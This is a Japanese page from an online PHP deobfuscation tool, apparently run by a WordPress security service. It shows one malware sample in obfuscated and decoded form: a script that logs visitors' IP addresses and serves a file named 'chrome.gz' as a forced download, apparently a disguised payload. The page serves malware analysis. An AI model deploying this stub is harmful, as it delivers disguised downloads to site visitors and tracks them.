Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $y0=base64_decode('aXAtbG9nLmpzb24=');$i1=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$x2=date(base64_decode('WS1tLWQgSDppOnM='));if(file_exists($y0)){$n3=file_get_contents($y0);$x4=json_decode($n3,true);}else{$x4=[];}$x4[]=[base64_decode('aXA=')=>$i1,base64_decode('dGltZXN0YW1w')=>$x...



難読化されたPHPコード

<?php $y0=base64_decode('aXAtbG9nLmpzb24=');$i1=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$x2=date(base64_decode('WS1tLWQgSDppOnM='));if(file_exists($y0)){$n3=file_get_contents($y0);$x4=json_decode($n3,true);}else{$x4=[];}$x4[]=[base64_decode('aXA=')=>$i1,base64_decode('dGltZXN0YW1w')=>$x2];file_put_contents($y0,json_encode($x4,JSON_PRETTY_PRINT));$j5=base64_decode('Y2hyb21lLmd6');if(file_exists($j5)){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0='));header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==').basename($j5).base64_decode('Ig=='));header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').filesize($j5));header(base64_decode('Q29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5'));header(base64_decode('Q2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRl'));header(base64_decode('UHJhZ21hOiBwdWJsaWM='));flush();readfile($j5);exit;}else{echo base64_decode('RXJyb3I6IEZpbGUgbm90IGZvdW5kLg==');}?>

デコード(難読化解除)されたコード

<?php

$y0 = "ip-log.json";
$i1 = $_SERVER["REMOTE_ADDR"];
$x2 = date("Y-m-d H:i:s");
if (file_exists($y0)) {
    $n3 = file_get_contents($y0);
    $x4 = json_decode($n3, true);
} else {
    $x4 = [];
}
$x4[] = ["ip" => $i1, "timestamp" => $x2];
file_put_contents($y0, json_encode($x4, JSON_PRETTY_PRINT));
$j5 = "chrome.gz";
if (file_exists($j5)) {
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . basename($j5) . "\"");
    header("Content-Length: " . filesize($j5));
    header("Content-Transfer-Encoding: Binary");
    header("Cache-Control: must-revalidate");
    header("Pragma: public");
    flush();
    readfile($j5);
    exit;
} else {
    echo "Error: File not found.";
}


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.